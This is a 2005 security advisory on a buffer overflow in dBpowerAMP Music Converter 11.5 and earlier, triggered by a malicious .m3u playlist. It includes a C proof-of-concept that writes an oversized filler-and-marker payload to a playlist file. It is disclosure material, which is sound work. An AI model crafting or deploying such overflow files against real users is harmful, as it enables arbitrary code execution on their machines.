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dBpowerAMP Music Converter Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.dbpoweramp.com/> dMC "can digitally rip sound from audio CDs
to a multitude of formats".
A malicious ".m3u" playlist file format suplied to dMC can lead to buffer
overflow and allows attackers to execute arbitrary code.
DETAILS
Vulnerable Systems:
* dBpowerAMP Music Converter version 11.5 and prior
A malicious playlist file format ".m3u" file can generate a local
exploitation of a buffer overflow and allows attackers to execute
arbitrary code under the context of the user who started the process.
Proof of concept:
Build & mouse over the file or open it with dMC.
Exploit:
/*
Illustrate dBpowerAMP dMCShell Module Buffer Overflow
Date: 23 December, 2005
Credits: SecuBox Labs
Discovered by: fRoGGz
*/
#include <stdio.h>
char SecuBox[]=
"\x3A\x20\x53\x65\x63\x75\x42\x6F\x78\x20\x4C\x61\x62\x73\x20\x3A"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\x2D\x2D\x5B\x20\x32\x36\x30\x20\x20\x42\x6F\x46\x20\x5D\x2D\x2D"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x90\x90\x90\x90"
"\x41\x41\x41\x41"; // AAAA ...
int main(int argc, char* argv[]) {
FILE *fp;
printf ("SecuBox Labs - Proof Of Concept\n");
printf ("Illustrate dBpowerAMP dMCShell Module Buffer Overflow\n\n");
fp = fopen ("SecuBox.Labs.m3u","w+");
if (!fp) {
printf (" fopen error.\n");
return -1;
}
fwrite (SecuBox, 1, strlen(SecuBox) , fp);
fclose (fp);
printf ("SecuBox.Labs.m3u created.\n");
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:unsecure@writeme.com>
fRoGGz.
The original article can be found at:
<http://secubox.shadock.net/dBpowerAMP_Music_Converter_v11.5_Local_Buffer_Overflow_Issue.html>
dBpowerAMP Music Converter v11.5 Local Buffer Overflow Issue
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